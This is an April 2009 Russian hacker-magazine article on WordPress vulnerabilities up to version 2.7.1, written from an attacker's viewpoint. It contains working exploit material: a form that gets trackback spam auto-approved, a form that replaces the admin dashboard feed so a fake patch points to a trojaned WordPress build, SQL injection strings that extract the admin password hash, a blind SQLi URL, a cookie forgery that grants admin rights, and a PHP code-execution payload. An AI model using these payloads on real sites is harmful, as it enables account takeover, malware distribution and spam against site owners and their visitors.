Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 124, АПРЕЛЬ 2009 г.

WordPress: тест на проникновение. Полный анализ малоизвестных уязвимостей раскрученного движка

Маг (icq 884888, http://wap-chat.ru)




WordPress - без преувеличения, самый популярный движок во всех «интернетах» (по запросу «Powered by WordPress» Гугл выдает 74 400 000 результатов!). Движок писался с расчетом на то, чтобы любая «домохозяйка» смогла им воспользоваться. Так и получилось: знаменитая «5-минутная установка», средства защиты от спама, визуальный редактор, seo-friendly ссылки и многие другие фичи сделали свое дело. Но все ли в порядке у всего этого великолепия с элементарной безопасностью?

В предыдущих номерах ][ я уже не раз поднимал тему безопасности WordPress. Вкратце вернемся к пройденному и систематизируем твои знания.

Итак, последняя мало-мальски серьезная SQL-инъекция была найдена в 2.2.2 версии движка 28 июля далекого уже 2007 года неким Alexander Concha (не повезло человеку с фамилией). Не будем подробно на ней останавливаться, но если ты интересуешься историей, смотри ссылку на advisory в сносках.

Идем далее. Во всех версиях движка, до 2.3.3 версии включительно, присутствует XSS-уязвимость в модуле фильтрации html kses (вспомнить о ней тебе поможет, например, январский номер журнала). Уязвимость можно было бы считать достаточно серьезной, если бы не одно но: админу надо нажать на ссылку с очень подозрительным адресом, что произойдет, только если админ – полный «чайник».

Стоит упомянуть о нашумевшей в свое время уязвимости «Charset Remote SQL Injection» (версии <=2.3.3), которую я считаю псевдо-уязвимостью. Почему? Потому что в настройках блога искусственно должна быть выставлена кодировка MySQL «GBK» либо «BIG5». А такого счастливого совпадения я ни разу не встречал за всю свою многолетнюю практику работы с движком.

Еще одна презабавнейшая бага – «WordPress <=2.3.2 'xmlrpc.php' Post Edit Unauthorized Access Vulnerability» (читайо ней в одном из прошлогодних «FAQ United»), которая позволяет пользователям с правами «subscriber» редактировать посты других пользователей. Все бы хорошо, если бы посты не сваливались в «draft», то есть – неопубликованные черновики. Так что, оставим эту багу для истории.

Говоря о 2.3.x ветке, нельзя не упомянуть о баге «WordPress 'cat' Parameter Directory Traversal Vulnerability», о которой я также рассказывал в FAQ. Бага удивительна своей простотой, но использование омрачает тот факт, что работает она только на Windows-платформах. Последняя достойная внимания уязвимость - это «SQL Column Truncation (Admin Takeover)», почитать о которой ты сможешь в моей прошлогодней статье «Неслучайные числа». Замечу, что пользоваться ей крайне тяжело, ведь сгенерировать две rainbow таблицы по 40 и 80 Гб соответственно (ну, или подождать 2-4 дня), необходимых для работы эксплойта не каждому под силу.
«Это и все?» - удивишься ты. Нет, дорогой читатель. Пришла пора рассказать тебе о не до конца описанных, малоизвестных, либо совсем неизвестных уязвимостях.

WordPress Comments Html Spam Vulnerability

Перед тобой первая неопубликованная уязвимость, которую я назвал «WordPress Comments Html Spam Vulnerability».Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.

Заглянем в исходники вордпресса. Открывай файл ./wp-includes/comment.php и находи следующий код:

function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll
$uri = parse_url($url);
$domain = $uri['host'];
$uri = parse_url( get_option('home') );
$home_domain = $uri['host'];
if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain )
return true;
else
return false;
}
...
}

В чем смысл этого кода?

  1. Блог «смотрит» на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, смотри в моей прошлогодней статье «Спамом по вебу»).
  2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true.
  3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом. Ежели нет - должен пройти премодерацию.

В этом занимательном коде есть один нюанс. Разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: «This function is not meant to validate the given URL».

Эти слова подразумевают, что parse_url() элементарно не проверяет валидность переданного адреса! Мы можем передать в нее что-то вроде «http://%/suck_wordpress», в результате чего переменная $uri['host'] станет равной «%».

Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:

"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"

Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным :).Но и это еще не все! Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:

function wp_html_excerpt( $str, $count ) {
$str = strip_tags( $str );
$str = mb_strcut( $str, 0, $count );
// remove part of an entity at the end
$str = preg_replace( '/&[^;\s]{0,6}$/', '', $str );
return $str;
}

Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли несколько нюансов:

  1. strip_tags() успешно пропускает через себя теги вроде «< br / >» (то есть, содержащие пробелы);
  2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.

Исходя из этой информации, можно придумать конечный эксплойт:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

Где в поле «Comment» вставляем:

< b >< a href="http"//ya.ru">Купить слона< / a >< / b >

В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирной ссылкой «Купить слона». Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.

Подмена RSS-фидов в Dashboard

В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости «Планеты WordPress».
Начиная с версии 2.5, к каждому фиду прикреплена кнопочка «Edit», что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).

Теперь смотри. Скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте (естественно, в ссылке на скачку) укажи свой протрояненный дистрибутив вордпресса.
Затем положи подготовленный фид на какой-нибудь сервер и используй этот html-код для подмены рсс-ленты девблога на свою:

<form action="http://lamer.com/wp265/wp-admin/" method="post">
<input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" />
<input name="widget-rss[1][title]" type="text" value="Заголовок рсс" />
<input name="widget-rss[1][items]" value="сколько показывать постов в рсс" />
<input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/>
<input name="widget-rss[1][show_author]" type="checkbox" value="1" />
<input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget-rss[1][submit]" value="1" />
<input type='hidden' name='sidebar' value='wp_dashboard' />
<input type='hidden' name='widget_id' value='dashboard_primary' />
<input type='submit' value='Save' />
</form>

В итоге, ты увидишь на главной странице админки блога свой evil-rss :).Ах да, для использования этой уязвимости необходимы:

  1. Открытая регистрация на блоге;
  2. Версии движка от 2.5 до 2.6.5 включительно.

Эти забавные пинги. Часть 1

Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз на технологии Pingback и Trackback.Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2 (!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и с правами author/editor (WordPress MU also affected).

Для наглядности возьмем подопытный движок за номером 2.3.3. Открывай ./wp-includes/post.php и находи в нем код:

function add_ping($post_id, $uri) { // Add a URL to those already pung
global $wpdb;
$pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id");
$pung = trim($pung);
$pung = preg_split('/\s/', $pung);
$pung[] = $uri;
$new = implode("\n", $pung);
$new = apply_filters('add_ping', $new);
return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id");
}

Небольшие раскопки дают понять, что фильтра «add_ping» не существует в коде движка. Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!

А теперь о способе эксплуатации данной уязвимости. Запасись терпением :). Чтобы использовать баг, тебе необходимо две инсталляции вордпресса:

1. Все равно какой версии. Создай новый пост с любым тайтлом и содержимым:

<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>

Запомни адрес созданного поста (например, http://lamer/wp1/?p=2).

2. Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле «Send trackbacks to:» пиши:

test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered ='blah

Сохраняй пост. Снова заходи в его редактирование, но теперь редактируй само содержимое и вставляй туда ссылку в html-формате на пост из первого блога:

<a href="http://lamer/wp1/?p=2">pingme</a>

Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа.

Эти забавные пинги. Часть 2

Вторая SQL-инъекция присутствует в механизме трэкбэков и выглядит уже не так ужасно.Открывай файл ./wp-includes/comment.php и находи в нем код:

function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}

Здесь мы наблюдаем ту же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.Использовать эту SQL-инъекцию очень просто.

1. Создавай новый пост и в «Send trackbacks to:» вставляй следующее:

test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah

2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда тот же самый код;

3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа.

Коварный parse_str

Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права «manage_links». Для теста снова возьмем WordPress 2.3.3.

Итак, открывай ./wp-admin/link-manager.php. В этом файле присутствует следующий код:

get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );

Начиная от этого кода, попробуем провести небольшой реверсинг:

./wp-includes/bookmark.php

function get_bookmarks($args = '') {
...

$r = wp_parse_args( $args, $defaults );
extract( $r, EXTR_SKIP );
...
if ( ! empty($category_name) ) {
if ( $category = get_term_by('name', $category_name, 'link_category') )
$category = $category->term_id;
}
...

./wp-includes/formatting.php

function wp_parse_args( $args, $defaults = '' ) {
if ( is_object($args) )
$r = get_object_vars($args);
else if ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );

if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
else
return $r;
}
function wp_parse_str( $string, &$array ) {
parse_str( $string, $array );
if ( get_magic_quotes_gpc() )
$array = stripslashes_deep( $array );
$array = apply_filters( 'wp_parse_str', $array );
}

./wp-includes/taxonomy.php

function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
} else if ( 'name' == $field ) {
// Assume already escaped
$field = 't.name';
...
$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");

На этот раз разработчики WordPress не учли, что:

  1. Функция parse_str проводит свои параметры через urldecode, а значит, какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
  2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).

Отсюда, как логичный вывод, следует blind sql-инъекция:

http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527
+union+select+1,2,3,4,5,6,7,8,9,10
+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB

Условия здесь такие:

  • а) 1=1 - ничего не отображается;
  • б) 1=2 - отображается список ссылок блога.

Wordpress 2.5 Cookie Integrity Protection Vulnerability

Еще одна интереснейшая логическая уязвимость, которой уделили недостаточно внимания, – это «Cookie Integrity Protection Vulnerability». Ей подвержен WordPress 2.5. В официальном advisory насчет реальной эксплуатации баги сказано мало и не совсем понятно, – так что многие до сих пор у меня интересуются, как ее использовать.
Суть баги достаточно проста: начиная с версии 2.5, в WordPress появилась новая система авторизации и хранения паролей, которую до конца еще не успели отладить. Для авторизации на блоге используется следующая схема формирования кукисов:

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . MAC

Расшифровка этих непонятных символов элементарна:

  • COOKIEHASH - md5 хеш URL'а сайта, где установлен движок;
  • USERNAME - логин авторизуемого юзера;
  • EXPIRY_TIME - время истечения жизни кукисов;
  • MAC - злостное сочетание из HMAC-кода, полученного на основе имени юзера и времени жизни кукисов, а также секретных ключей из конфига и БД.

Если ты еще не понял, то скажу тебе, что проблема заключается как раз в способе конкатенации этих значений.
А теперь внимание, – способ эксплуатации уязвимости:

1. Регистрируй юзера с именем «admin99»;

2. Авторизуйся на блоге;

3. Отредактируй свои кукисы (в Опере: Инструменты -> Дополнительно -> Редактирование cookies) следующим образом:

Было:

wordpress_[ХЕШ] = admin99|время|MAC

Стало:

wordpress_[ХЕШ] = admin|99время|MAC

В итоге, с новыми кукисами ты благополучно авторизуешься с правами админа.

Wordpress 2.7.x admin remote code execution exploit

Выполнение произвольного кода в админке через create_function (баг нашел некий Ryat[puretot]) - еще одна интересная уязвимость, почему-то оставшаяся не только без внимания хакеров, но и без внимания разработчиков!

Эксплойт к ней появился еще в версии 2.7, но в последнем вордпрессе (сейчас - 2.7.1) дыра по-прежнему не закрыта. Проведем небольшой аудит кода ./wp-admin/post.php:

if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = wp_check_post_lock( $post->ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
add_action('admin_notices', create_function( '', "echo '$message';" ) );
} else {
wp_set_post_lock( $post->ID );
wp_enqueue_script('autosave');
}
}

Из анализа этого кода видно, что юзер с правами «edit_post» может провести инъекцию произвольного кода следующим образом:

1. Сменить значение «display_name» на что-то вроде \';phpinfo();\'. В результате переменная $message будет выглядеть так:

Warning: \';phpinfo();\' is currently editing this post

2. Когда $message пройдет stripslashes и попадет в create_function(), создастся функция с таким вот интересным телом:

{
echo '<div class='error'><p>';phpinfo();'</p></div>';
}

Как видишь, налицо банальный code exec. Ссылку на эксплойт ищи в сносках. Добавлю, что эксплойт предназначен для юзера с правами admin, но, немного подумав, ты сможешь исправить его для работы с правами author/editor.

Итоги

Жесткие рамки статьи не позволяют рассказать обо всех найденных мной и другими людьми уязвимостях WordPress, но я этого и не хочу :). Описанные тут уязвимости – лишь верхушка айсберга. Существуют гораздо более серьезные и полезные баги во всех, даже самых последних, версиях движка. Эти баги не только стоят множество зеленых президентов, но и позволяют безбедно жить на поприще SEO. Поэтому могу лишь пожелать разработчикам вордпресса оставаться такими, какие они есть: невнимательными и забавными в своей простоте.

Ссылки по теме

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001